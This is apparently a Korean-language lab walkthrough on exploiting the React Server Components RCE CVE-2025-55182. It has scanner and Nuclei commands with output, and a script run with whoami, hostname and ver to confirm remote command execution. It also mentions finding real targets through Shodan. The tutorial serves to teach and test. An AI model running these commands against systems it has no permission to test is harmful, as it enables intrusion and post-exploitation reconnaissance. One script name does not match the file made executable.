
CVE-2025-55182 보안 취약점 악용
CVE-2025-55182는 React2Shell이라고도 하며, React Server Components(RSC)에 영향을 주는 심각한 원격 코드 실행(RCE) 취약점입니다. 클라이언트와 서버 간 통신에는 Flight 프로토콜이 사용됩니다. 클라이언트가 데이터를 요청하면 서버는 payload를 수신하고 이를 구문 분석하는데, 이 과정에서 공격자가 React가 유효하다고 인정하는 악성 구조나 임의 코드를 삽입할 수 있게 됩니다.
| 항목 | 내용 |
|---|---|
| 심각도 | Critical (CVSS 10.0) |
| 유형 | Unsafe Deserialization (CWE-502) |
| 공격 방식 | 원격, 인증 불필요 |
| 영향을 받는 버전: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 및 Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
서버가 클라이언트의 payload를 충분히 검증하지 않고 처리하여 공격자가 다음을 할 수 있습니다:
이 취약점과 관련된 악용 활동은 2025년 12월 5일부터 발견되었습니다. 대부분의 성공적인 악용은 공격 그룹의 평가에서 비롯되었습니다. Windows와 Linux 환경 모두 영향을 받습니다.
설치
pip install -r requirements.txt
취약한 서버 스캔:
python3 scanner.py -u https://example.com
스캔할 경로를 입력합니다(여기서는 취약한 서버로 http://192.168.10.1:3000을 입력했습니다).
얻은 결과:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
서버 목록 스캔:
python3 scanner.py -l hosts.txt
멀티스레드로 스캔하고 결과 저장:
python3 scanner.py -l hosts.txt -t 20 -o results.json
사용자 지정 헤더로 스캔:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Windows 대상 스캔:
python3 scanner.py -u https://example.com --windows
안전한 부채널 감지 방식 사용:
python3 scanner.py -u https://example.com --safe-check
보시다시피, 우리는 보안 취약점에 직면해 있으며, 이는 우리가 운영하는 서버가 공격자에게 쉽게 공격당할 수 있음을 의미합니다.
이제 Nuclei를 사용하여 위 서버에 PoC가 있는 취약점이 무엇인지 확인하겠습니다. 이 기능은 사용자 지정 요청을 전송하고 오탐(false positive)을 최소화하며 병렬 스캔을 지원합니다.
nuclei -t scan.yaml -u http://192.168.10.1:3000
얻은 결과
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
시스템은 이 서버가 취약하며 CVE-2025-55182 취약점으로 악용될 수 있음을 탐지했습니다. 이를 통해 이 취약점이 매우 위험하고 중요한 결함이며, 소셜 플랫폼에 이미 많은 PoC가 존재한다는 것을 알 수 있습니다. ☺☺☺
이 정보만으로도 위 애플리케이션에 보안 취약점이 존재함을 확인하기에 충분함을 알 수 있습니다. 이 애플리케이션이 원격으로 명령을 실행하거나 코드를 실행하도록 악용될 수 있음을 증명하기 위해 PoC를 시작하겠습니다.
chmod +x scanner.sh
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com
# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
의미:
현재 서버 프로세스를 실행 중인 사용자를 반환합니다.
다음을 확인하는 데 도움이 됩니다:
=> 이는 RCE 성공을 확인하는 가장 기본적인 명령입니다.
-d, --domain - 도메인/URL-c, --command - 실행할 명령 (예: whoami, hostname,...)# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
이것은 악용 성공 후 초기 정찰(initial reconnaissance) 단계입니다.
RCE 동작 확인, 운영체제 식별 등을 가능하게 합니다...
이 실험은 불법적인 문제를 피하기 위해 개인 랩 환경에서 데모하고 있으므로, 데이터 탈취를 위해 HTTP 헤더를 사용하거나 대량 출력/특수 문자를 사용하면 다음과 같은 문제가 발생할 수 있습니다:
ERR_INVALID_CHAR
짧은 명령(예: whoami, ver)은 위 테스트 환경에서 시연하기에 더 안정적입니다.
원하지 않는다면 shodan을 사용하여 실제 환경의 IP 주소를 직접 확인하고 위 실습과 같이 악용할 수 있습니다(권장하지 않음).
위에서 언급했듯이 이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않았거나 테스트 권한이 없는 시스템에는 이 도구를 사용하지 마십시오.
| 실행 명령의 의미 | 내용 |
|---|
| 호스트 이름 반환 | 용도: - 영향을 받은 시스템 식별 - 내부 환경에서 lateral movement에 활용 |
| 운영체제 버전 확인 | 다음에 중요: - 추가 악용 가능성 평가(privilege escalation) - 적절한 exploit 선택 |
| 명령 실행 확인 | payload / scanner 디버깅에 사용 |
| 현재 username 반환 | 이 경우: - 사용자가 ADMIN → 높은 권한을 가질 수 있음 - 일부 Windows 사례에서 whoami보다 중요 |
| 호스트 이름 반환 | environment variable을 통해 호스트 이름 반환 |